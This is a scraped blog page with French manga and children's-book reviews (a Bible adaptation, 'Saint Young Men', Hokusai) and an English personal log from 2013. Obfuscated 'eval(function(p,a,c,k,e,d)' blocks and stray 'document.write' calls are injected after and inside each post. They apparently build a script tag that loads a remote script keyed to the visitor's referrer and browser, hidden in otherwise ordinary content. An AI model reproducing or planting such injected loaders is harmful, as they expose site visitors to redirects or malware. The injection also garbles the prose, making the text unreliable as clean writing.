tombeau vide; Jésus apparait à ses disciples et les enjoins à porter sa parole à travers le monde, puis il monte au ciel) et finalement “Le Nouveau Testament” (contient les actes des apôtres — ayant reçu de l’esprit saint le don de glossolalie, les apôtres prêchent la parole du Christ et baptisent les fidèles; le pharisien Saul de Tarse se convertit et devient Paul, l’un de ses plus fervent apôtres–les épitres et l’Apocalypse). [À gauche: sur la montagne, Jésus prit et confère avec Moïse et Élie, pg. 95]

Jésus ressuscite Lazare, pg 108, et meurt sur la croix, pg 163

Que l’on soit d’accord ou pas avec le texte original, l’adaptation qui en est faite n’est pas si mal. Si j’ai l’impression que cela a été produit sans grands efforts pour faire connaître ce “classique de la littérature” à un public japonais qui n’en connait rien, je dois admettre qu’on y donne tout de même l’essentiel de la doctrine de Jésus, sans plus ni moins, dans sa plus simple expression (en lisant les textes du manga, ça me rappelait étrangement Jésus de Montréal ou le monologue d’Yvon Deschamps sur “Le p’tit Jésus”). Toutefois, j’ai plus à me plaindre du côté artistique: la qualité du dessin est pauvre, plutôt simple et bâclé. Les personnages sont caricaturaux, souvent laids et avec des expressions d’illuminés fous furieux. Pas surprenant que les responsables veulent rester anonymes! Si je suis surpris par l’adaptation, je suis extrêmement déçu par l’illustration du sujet. Ce n’est pas un très bon manga et n’a de l’intérêt que pour les curieux.

La Bible (vol. 2): Le Nouveau Testament, par Variety Art Works (traduction: Anne Mallevay). Paris, Soleil Manga (Coll. Classiques), septembre 2012. 12,8 x 18,2 x 1,6 cm, 192 pg., 6,99 € / $12.95 Can. ISBN: 978-2-3020-2243-0. Lecture dans le sens occidental (de droite à gauche) et recommandé pour jeunes adultes (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Manga de Dokuha: New Testament © Variety Art Works, East Press Co., Ltd. All Rights Reserved. © 2012 MC Productions pour l’édition en langue française.

[ Translate ]

L’image du Mer-fleurie

Terre d’Espérance, document.write(“”); la 5e édition des Mosaïcultures Internationales au Jardin botanique de Montréal du 22 juin au 29 septembre 2013. Dans le volet Interational, l’entrée de la ville de Barcelone, “ La salamandre de Gaudì”, photographiée le 18 juin avant l’ouverture officielle. L’œuvre présente une salamandre, un motif populaire en Catalogne.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irzyb|var|u0026u|referrer|hasfa||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|reeba|var|u0026u|referrer|datek||js|php’.split(‘|’),0,{}))

Untitled

Les Vacances de Jésus et Bouddha (1)

La divine colocation de Jésus et Bouddha. Après avoir oeuvré au bonheur de l’humanité pendant 2000 ans, document.write(“”); les deux amis décident de prendre quelques vacances en louant un petit appartement sur Terre. Ils vont découvrir un mode de vie bien éloigné du paradis et vous offrir un regard inédit sur notre quotidien. Vous apprendrez ce que ressent Jésus quand on le prend pour Johnny Depp, ou ce que pense Bouddha de ces statues à son effigie, qui ont tant de succès dans les magazines de décoration.” [ Texte du site de l’éditeur ]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dannn|var|u0026u|referrer|hnezh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebbnb|var|u0026u|referrer|frfdz||js|php’.split(‘|’),0,{}))

Continuez après le saut de page >>

Sei Onii-san (??????? / Saint Young Men) est prépublié dans le magazine Morning 2 de Kodansha depuis 2007 et a, jusqu’à maintenant, été compilé en huit volumes (entre janvier 2008 et décembre 2012). C’est une comédie pour jeunes adultes (seinen) écrite et illustrée par Hikaru NAKAMURA, une jeune mangaka de vingt-neuf ans qui n’en est qu’à son second manga. Elle avait auparavant publié Arakawa Under the Bridge (?????? ? ????), une comédie romantique prépublié depuis 2004 dans le magazine de Square Enix Young Gangan, compilée en treize volumes et qui a été adapté en une série animée. Saint Young Men a été traduit en français par Kurokawa (cinq volumes de disponibles depuis mars 2011, le plus récent étant paru en mars 2013). En 2009, ce manga s’est classé à la dixième position du palmarès japonais Oricon des meilleurs vendeurs et a également reçu le Prix Culturel Osamu Tezuka pour une histoire courte. Le manga a également été adapté en un long métrage d’animation (une production du studio A-1 Pictures, avec un scénario de Rika NEZU et une réalisation de Noriko TAKAO) qui est sortie dans les salles de cinéma japonaise en mai 2013.


[ Page 54 — C’est en format japonais: Lire les bulles de droite à gauche ! ]
J’ai récemment découvert ce manga et, comme ça m’avait l’air tellement hilarant, je n’ai pas pu résister à l’emprunter à la bibliothèque pour y jeter un coup d’oeil! C’est effectivement très drôle. Siddh?rtha Gautama, dit “L’Éveillé”, et Jésus de Nazareth, le “fils de Dieu”, décident de prendre un repos bien mérité et louent un petit appartement dans le quartier de Tachikawa à Tokyo. Bien sûr, après avoir vécu au Paradis, la vie dans la société moderne Japonaise nécessite une certaine adaptation.

Une bonne partie de l’humour léger que l’on retrouve dans le manga provient de ce contexte très propice à la comédie de situation (sit-com). Cette interaction, pour ne pas dire confrontation, entre le divin et le quotidien trivial est aussi une occasion de ridiculiser certaines moeurs et habitudes de notre mode de vie moderne. De même, d’une façon un peu plus sérieuse, le manga offre une sorte de critique sociale, en utilisant le regard extérieur de nos deux vacanciers (qui, pour cet aspect du récit, auraient pu être n’importe quels jeunes touristes américains ou européens). On peut aussi dire que, par la bande, il permet aux lecteurs occidentaux de découvrir plusieurs aspects de la société nippone.

Ainsi l’auteur joue avec les apparences (Jésus est comparé à Johnny Depp, Bouddha se plaint de sa coiffure qui ressemble à une permanente ou des statues qui le représentent obèse) ou avec leur attributs divins (les stigmates de Jésus saignent et il change l’eau en vin et autres miracles, Bouddha se sort de situations difficiles en utilisant son “Buddha smile” et brille d’une aura de sainteté lorsqu’excité). Chacun se trouve des aspirations: Bouddha, ayant découvert Tezuka, est inspiré et se met à produire un manga plein d’inside joke célestes et Jésus, pour réaliser un vieux rêve, convint Bouddha de former un duo de standing comics!

La représentation de Jésus me semble toutefois plus caricaturale que celle du Bouddha, probablement parce que l’auteur à une meilleurs connaissance de ce dernier. D’ailleurs j’ai aussi l’impression qu’une partie de l’humour généré par Bouddha se perd soit dans la traduction ou dans l’ignorance des traditions bouddhistes inévitable chez la plupart des lecteurs occidentaux.

Si l’humour des Vacances de Jésus et Bouddha est léger et tout à fait anodin, il est toutefois risqué de jouer avec des icônes religieuses. Nos deux anti-héros se voient la proie de nombreuses tentations de la vie moderne (commercialisme, jeunes collégiennes, etc.) et les mettre face à ces dilemmes et indignités irrévérencieuses pourrait en choquer plus d’un chez les extrémistes religieux. L’auteur aurait aussi pu créer un trio de personnages en y ajoutant le Prophète musulman, mais cela aurait représenté un risque trop grand car l’on sait que les fondamentalistes (quels qu’ils soient) ne badinent pas avec l’humour. Si le manga n’a pas généré de tollé, il a tout même essuyer quelques critiques mais, étrangement, jusqu’à maintenant surtout de la part d’organisations bouddhistes conservatrices. L’absence de traduction anglaise explique sans doute pourquoi la droite chrétienne n’a pas encore crié au scandale… Mais au Japon peu de gens se soucient de la religion, les pratiques religieuses étant plus considérées comme des coutumes que l’expression d’une ferveur croyante. On y mélange sans peine shintô et bouddhisme en un syncrétisme insouciant, où les esprits sont toujours présents dans la vie de tout les jours. Pourquoi n’en irait-il pas de même pour le “fils de Dieu”?

Si l’artiste porte beaucoup d’attention aux détails (comme les textes sur les t-shirts des personnages par exemple), son style reste encore un peu brouillon. Mais c’est un trait qui est commun à la plupart des manga d’humour léger. Toutefois, mon reproche principal (et cela vaut pour beaucoup de manga publié ces derniers temps), est l’utilisation d’une typographie minuscule dans les textes exprimant les pensées des personnages, ainsi que pour les notes explicatives. Les éditeurs devraient réaliser qu’il n’y a pas que les jeunes qui lisent les manga, mais aussi des vieux aux yeux fatigués!

Quoiqu’il en soit, j’ai beaucoup rigolé en lisant ce premier tome des Vacances de Jésus et Bouddha et j’ai bien l’intention de lire les volumes suivants. Je vous le recommande donc.


[ Pages 24, à droite, et 55, à gauche ]
Les vacances de Jésus et Bouddha, vol. 1, par Hikaru Nakamura (traduction: Étienne Robert). Paris, Kurokawa, mars 2011. 12,8 x 18,2 x 1,2 cm, 144 pg., 6,70 € / $11.95 Can. ISBN: 978-2-351-42587-9. Lecture dans le sens japonais (de droite à gauche) et recommandé pour jeunes adultes (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Saint Oniisan © 2008 Hikaru Nakamura, All Rights Reserved.

[ Translate ]

Press Review (2013-07-01)

Since the usual Domestic Log part of this entry was a bit long this time, document.write(“”); I devoted a separate item to it…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zakfb|var|u0026u|referrer|frddt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsfdt|var|u0026u|referrer|bhfdr||js|php’.split(‘|’),0,{}))

On the news side there wasn’t any that stood out specifically, besides Apple’s new keynote at the WWDC (announcing new iOS and Mac OS coming this fall). There was a few new hardware announcements (the stunning new Mac Pro) but the piece of equipment that I was expecting the most (an upgrade for the Airport Extreme) wasn’t part of the keynote, although it was indeed released (and I quickly ordered it)!

However there was many news worthy of my interest and, as usual, I collected them to share with you right after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

[ Traduire ]

Domestic log (2013-07-01)

July already! It feels like lots have happened in the last three weeks. First, document.write(“”); for the last couple of of weeks, I’ve not been feeling well: trouble digesting, feeling bloated, sometimes nauseated, trouble sleeping. It looks like some sort of mini-gastro with mild symptoms, probably due to (stress?) exhaustion and the heat (well, mostly humidity; summer came unnoticed, presenting itself with short heat-wave followed by days and days of rain). Despite feeling poorly, I managed to avoid taking sick days. Not that I wanted to but I simply couldn’t. In the last week and a half, I’ve been running like crazy at work (like a headless chicken some says) to prepare for the summer activities. Of course, the people in charge always choose to put less employees for the busiest time and, since it is the summer, lots of employees take their vacation, so we end up with even less people or at least people with less training — which always mean more work and trouble for me. Joy! I think it will be quite a busy summer. Hopefully, I’ll be able to rest a little this long week-end.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iydtn|var|u0026u|referrer|yttfs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekyni|var|u0026u|referrer|yfbee||js|php’.split(‘|’),0,{}))

Again, despite feeling poorly, it seems that my mind was on fire, since I managed also to be quite productive on this blog (I wrote no less than seven book commentaries, all in french:
Les mimes des courtisanes by Lucian of Samosate, Le bain by Pascale Bougeault, Les métamorphoses by Apulée, Le maléfice de l’améthyste by Roger Leloup, Moi, Maru, Chat Enrobé by Mugumogu, Hokusai by Sh?tar? Ishinomori, and Le vieux fou de dessin by François Place — they all have shorter comments on Goodreads). And twenty blog entries total! Okay, I cheated a little since, for the summer, I’ve decided to include regular pictures of my cats (on saturday, i.e. cat-urday of course) and flowers (on wednesday, i.e. flowers-day?). And I still found time to visit the botanical garden and watch some TV with my wife (Murdoch Mysteries, Call the midwife, The Borgias, Father Brown, Copper is resuming and we are about to start Bleak House) or on my own (Continuum, Defiance, Mad Men, Falling Skies is finally resuming and the new promising show Under the dome) as well as a few movies (Argo, Brave, Life of Pi, Lincoln, Looper, Prometheus, Satyricon, Skyfall, To Rome with love, etc.). Really, I am telling you, on fire!

Since this Domestic Log was a bit long, I’ll put the Press Review in a separate entry.

And (I almost forgot) Happy Que nada day!

[ Traduire ]

Le vieux fou de dessin

“Il était une fois au Japon, document.write(“”); au cœur du XIXe siècle… Tojiro, le petit vendeur des rues, rencontre un curieux vieil homme qui passe ses journées à dessiner des lions-dragons, des ponts suspendus, des saules qui pleurent. C’est Hokusai, le vieillard fou de dessin, le plus grand artiste japonais, le maître des estampes, l’inventeur des mangas. Fasciné par le talent du maître, Tojiro devient son ami et son apprenti.” [ Texte du site de l’éditeur; voir couverture arrière ]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfddi|var|u0026u|referrer|nesis||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atszn|var|u0026u|referrer|raerf||js|php’.split(‘|’),0,{}))

Continuez après le saut de page >>

Ma soeur m’a fait cadeau de ce livre il y a plus de dix ans et je n’ai jamais vraiment eu le temps de le lire. Toutefois, comme je viens de lire et commenter un manga traitant d’Hokusai, il me semblait tout à fait opportun d’enchaîner avec ce magnifique album illustré pour enfant qui nous offre aussi, à sa manière, une biographie de ce grand maitre de l’estampe que l’on appelait aussi le “vieux fou de dessin” (ou de la peinture).

François Place est un auteur et illustrateur de grand talent. Il a illustré, depuis 1983, au moins une demi-douzaine de livres, mais dès 1992 il commence à écrire (et illustrer) ses propres livres. Il en a maintenant publier plus d’une dizaine, incluant Les Derniers Géants et l’Atlas des Géographes d’Orbae, qui lui ont valu de nombreux prix. Son style clair, simple mais expressif est fort apprécié tant des jeunes lecteurs que des parents et instituteurs.

Le vieux fou de dessin est d’abord paru en 1997 chez Gallimard dans la collection Folio junior Drôles d’aventures sous la forme d’un roman illustré (en noir et blanc). Il a été réédité en 2001 sous la forme d’un album cartonné, cette fois avec des illustrations couleurs à l’aquarelle, et à nouveau en 2008, avec une couverture souple. Il a également été traduit en anglais chez D. R. Godine en 2003 (traduction par William Rodarmor) sous le titre The Old Man Mad About Drawing. En 1999 François Place a reçu pour ce titre le Prix Chronos de littérature pour la jeunesse.

Au travers des yeux d’un petit vendeur de gateaux de riz devenu apprenti du peintre, et de la relation que ceux-ci développent peu à peu, le lecteur découvre non seulement la vie et l’oeuvre d’Hokusai, mais aussi de très nombreux aspects de la culture Japonaise: la société japonaise telle qu’elle était à Edo au 18e siècle, les techniques de gravure et d’estampe, le kabuki, les samouraïs, les sumos, les temples shintô, etc. C’est un voyage initiatique et formateur tant pour le jeune Tojiro que pour le lecteur, alors qu’ils découvrent ensemble l’importance d’observer en silence et le plaisir d’apprendre. Par les leçons de son vieux maitre, Tojiro apprends à lire, à dessiner, à penser pour lui-même, à apprécier la beauté et l’art. Hokusai lui raconte un peu sa vie et, à travers ces récits, nous découvrons toutes les étapes importantes de la carrière du peintre.

C’est une lecture agréable et très enrichissante, agrémentée de superbes illustrations (on trouve aussi tout au long du texte des reproductions d’oeuvres d’Hokusai). L’ouvrage se termine avec un glossaire très utile. Toutefois la narration manque un peu de fluidité et il est important de préciser que, malgré les affirmations faites par l’éditeur, Hokusai ne fut certainement pas l’inventeur des mangas. À l’origine, “manga” signifiait “dessin dérisoire”, fait dans un but divertissant, des croquis, voir des caricatures, que l’on retrouvait sur les emaki (rouleau manuscrits) dès le 11e siècle. Hokusai n’a donc rien inventé; il n’a fait que contribuer à populariser le terme qui ne prendra son sens actuel de “bande dessinée” japonaise qu’au 20e siècle.

Malgré ces quelques petits irritants, c’est un très bon livre, une oeuvre charmante, que je recommande chaudement.


Le vieux fou de dessin, par François Place. Paris, Gallimard Jeunesse (Coll. Grand format littérature, Série Romans Junior), novembre 2001. 19,5 x 26,3 x 1,2 cm, 96 pg., 16,25 € / $30.95 Can. ISBN: 978-2-0705-4842-2. Recommandé pour les enfants de 9 à 15 ans.

Pour plus d’information vous pouvez consulter les sites suivants:

Le vieux fou de dessin © Éditions Gallimard Jeunesse, 2001, pour le texte et les illustrations.

[ Translate ]